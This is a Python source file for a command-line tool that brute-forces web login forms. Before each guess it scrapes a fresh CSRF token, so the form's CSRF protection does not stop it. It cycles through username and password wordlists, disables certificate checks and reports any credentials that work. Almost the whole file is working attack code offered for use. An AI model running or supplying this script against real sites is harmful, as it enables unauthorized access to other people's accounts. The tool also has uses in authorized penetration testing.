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bruteforce-bypass.py
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bruteforce-bypass.py
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import requests
from bs4 import BeautifulSoup
import sys
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from timeit import default_timer as timer
def getCSRF(url, csrfname, session):
html = session.get(url, verify=False).text
soup = BeautifulSoup(html, features="lxml")
try:
csrfvalue = soup.find('input', {"name":csrfname}).get("value")
except AttributeError:
print("[-] Wrong csrf csrfvalue name")
sys.exit(1)
return csrfvalue
def send_post(user, password, url, csrfname, csrfvalue, error, verbosity, session):
data = {
"email": user,
"password": password,
csrfname: csrfvalue
}
post_login = session.post(url, data, allow_redirects=True, verify=False)
if (verbosity != None):
if post_login.history:
print("Request was redirected")
else:
print("Request was not redirected")
print(post_login.text)
if error not in post_login.text:
return True
else:
return False
def login(user, password, url, csrfname, error, verbosity, session):
if (verbosity != None):
start = timer()
print("[+] Trying "+user+":"+password+"")
print("[+] Retrieving CSRF csrfvalue...")
csrfvalue = getCSRF(url, csrfname, session)
print("[+] CSRF token: {0}".format(csrfvalue))
found_credentials = send_post(user, password, url, csrfname, csrfvalue, error, verbosity, session)
end = timer()
print(end - start)
else:
csrfvalue = getCSRF(url, csrfname, session)
found_credentials = send_post(user, password, url, csrfname, csrfvalue, error, verbosity, session)
if (found_credentials):
print("-------------------------------------------------------------")
print("[+] Correct credentials")
print("-------------------------------------------------------------")
print()
print("[*]\t"+user+":"+password)
print()
print("-------------------------------------------------------------")
sys.exit(1)
else:
print("[-] Wrong credentials\t"+user+":"+password)
if __name__ == '__main__':
banner = """
██████╗ ██████╗ ██╗ ██╗████████╗███████╗███████╗ ██████╗ ██████╗ ██████╗███████╗
██╔══██╗██╔══██╗██║ ██║╚══██╔══╝██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝
██████╔╝██████╔╝██║ ██║ ██║ █████╗ █████╗ ██║ ██║██████╔╝██║ █████╗
██╔══██╗██╔══██╗██║ ██║ ██║ ██╔══╝ ██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝
██████╔╝██║ ██║╚██████╔╝ ██║ ███████╗██║ ╚██████╔╝██║ ██║╚██████╗███████╗
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝
██████╗ ██╗ ██╗██████╗ █████╗ ███████╗███████╗
██╔══██╗╚██╗ ██╔╝██╔══██╗██╔══██╗██╔════╝██╔════╝
██████╔╝ ╚████╔╝ ██████╔╝███████║███████╗███████╗
██╔══██╗ ╚██╔╝ ██╔═══╝ ██╔══██║╚════██║╚════██║
██████╔╝ ██║ ██║ ██║ ██║███████║███████║
╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝
Created by Enrique Tomás Martínez Beltrán
"""
print(banner)
parser = argparse.ArgumentParser()
user_group = parser.add_mutually_exclusive_group(required=True)
user_group.add_argument('-l', '--user', help='user')
user_group.add_argument('-L', '--users', help='users worldlist')
pass_group = parser.add_mutually_exclusive_group(required=True)
pass_group.add_argument('-p', '--password', help='password')
pass_group.add_argument('-P', '--passwords', help='passwords wordlist')
parser.add_argument('-u', '--url', help='url with login form', required=True)
parser.add_argument('-c', '--csrfname', help='the name of the CSRF field', required=True)
parser.add_argument('-e', '--error', help="error message when entering incorrect credentials", required=True)
parser.add_argument('-v', '--verbosity', action='count', help='verbosity')
parser.add_argument('-r', '--proxy', action='count', help='using proxy')
args = parser.parse_args()
session = requests.session()
if args.proxy != None:
session.proxies = {'http' : 'http://127.0.0.1:8080', 'https' : 'https://127.0.0.1:8080'}
if (args.users == None and args.password == None):
with open(args.passwords, 'rb') as passfile:
for password in passfile.readlines():
login(args.user, password.decode().strip(), args.url, args.csrfname, args.error, args.verbosity, session)
if (args.user == None and args.passwords == None):
with open(args.users, 'rb') as userfile:
for user in userfile.readlines():
login(user.decode().strip(), args.password, args.url, args.csrfname, args.error, args.verbosity, session)
if (args.user == None and args.password == None):
with open(args.users, 'rb') as userfile:
with open(args.passwords, 'rb') as passfile:
for user in userfile.readlines():
for password in passfile.readlines():
login(user.decode().strip(), password.decode().strip(), args.url, args.csrfname, args.error, args.verbosity, session)